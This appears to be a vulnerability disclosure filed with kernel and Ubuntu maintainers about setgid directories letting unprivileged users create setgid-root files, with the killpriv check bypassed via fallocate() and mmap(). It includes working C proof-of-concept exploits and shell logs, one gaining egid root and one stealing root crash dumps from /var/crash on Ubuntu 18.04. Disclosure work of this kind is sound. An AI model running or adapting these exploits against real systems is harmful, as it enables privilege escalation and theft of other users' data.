Note: I am both sending this bug report to <email address hidden> and filing it in
the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
or as a Ubuntu bug. You may wish to talk to each other to determine the best
place to fix this.
I noticed halfdog's old writeup at
https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
, describing essentially the following behavior in combination with a
trick for then writing to the resulting file without triggering the
killpriv logic:
=============
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat > demo.c
#include <fcntl.h>
int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
user@debian:~/sgid_demo$ gcc -o demo demo.c
user@debian:~/sgid_demo$ ./demo
user@debian:~/sgid_demo$ ls -l dir/file
-rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
=============
Two patches for this were proposed on LKML back then:
"[PATCH 1/2] fs: Check f_cred instead of current's creds in
should_remove_suid()"
https://lore.kernel.org/lkml<email address hidden>/
"[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory"
https://lore.kernel.org/lkml<email address hidden>/
However, as far as I can tell, neither of them actually landed.
You can also bypass the killpriv logic with fallocate() and mmap() -
fallocate() permits resizing the file without triggering killpriv,
mmap() permits writing without triggering killpriv (the mmap part is mentioned
at
https://lore.kernel<email address hidden>/
):
=============
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat fallocate.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
int main(void) {
int src_fd = open("/usr/bin/id", O_RDONLY);
if (src_fd == -1)
err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, &src_stat))
err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
err(1, "mmap 2");
int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
err(1, "open");
if (fallocate(fd, 0, 0, src_len))
err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED)
err(1, "mmap");
memcpy(mapping, src_mapping, src_len);
munmap(mapping, src_len);
close(fd);
close(src_fd);
execl("./dir/file", "id", NULL);
err(1, "execl");
}
user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
user@debian:~/sgid_demo$ ./fallocate
uid=1000(user) gid=1000(user) egid=0(root)
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
=============
sys_copy_file_range() also looks as if it bypasses killpriv on
supported filesystems, but I haven't tested that one so far.
On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
contains group-readable crashdumps in some custom format, so you can use this
issue to steal other users' crashdumps:
=============
user@ubuntu-18-04-vm:~$ ls -l /var/crash
total 296
-rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
-rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash
user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash
cat: /var/crash/_usr_bin_id.0.crash: Permission denied
user@ubuntu-18-04-vm:~$ cat fallocate.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char **argv) {
if (argc != 2) {
printf("usage: ./fallocate <file_to_read>");
return 1;
}
int src_fd = open("/bin/cat", O_RDONLY);
if (src_fd == -1)
err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, &src_stat))
err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
err(1, "mmap 2");
unlink("/var/crash/privileged_cat"); /* in case we've already run before */
int fd = open("/var/crash/privileged_cat", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
err(1, "open");
if (fallocate(fd, 0, 0, src_len))
err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED)
err(1, "mmap");
memcpy(mapping, src_mapping, src_len);
munmap(mapping, src_len);
close(fd);
execl("/var/crash/privileged_cat", "cat", argv[1], NULL);
err(1, "execl");
}
user@ubuntu-18-04-vm:~$ gcc -o fallocate fallocate.c
user@ubuntu-18-04-vm:~$ ./fallocate /var/crash/_usr_bin_id.0.crash > /var/crash/_usr_bin_id.0.crash.stolen
user@ubuntu-18-04-vm:~$ ls -l /var/crash
total 384
-rwxr-sr-x 1 user whoopsie 35064 Jul 3 19:22 privileged_cat
-rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
-rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r--r-- 1 user whoopsie 50706 Jul 3 19:22 _usr_bin_id.0.crash.stolen
-rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash
user@ubuntu-18-04-vm:~$ mkdir root_crash_unpacked
user@ubuntu-18-04-vm:~$ # work around bug in apport-unpack
user@ubuntu-18-04-vm:~$ sed -i 's|^UserGroups: $|UserGroups: 0|' /var/crash/_usr_bin_id.0.crash.stolen
user@ubuntu-18-04-vm:~$ apport-unpack /var/crash/_usr_bin_id.0.crash.stolen root_crash_unpacked/
user@ubuntu-18-04-vm:~$ file root_crash_unpacked/CoreDump
root_crash_unpacked/CoreDump: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from 'id', real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: '/usr/bin/id', platform: 'x86_64'
=============
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
This is now fixed upstream in Linus' tree: https:/
Note that this fix does not have a CC stable marker.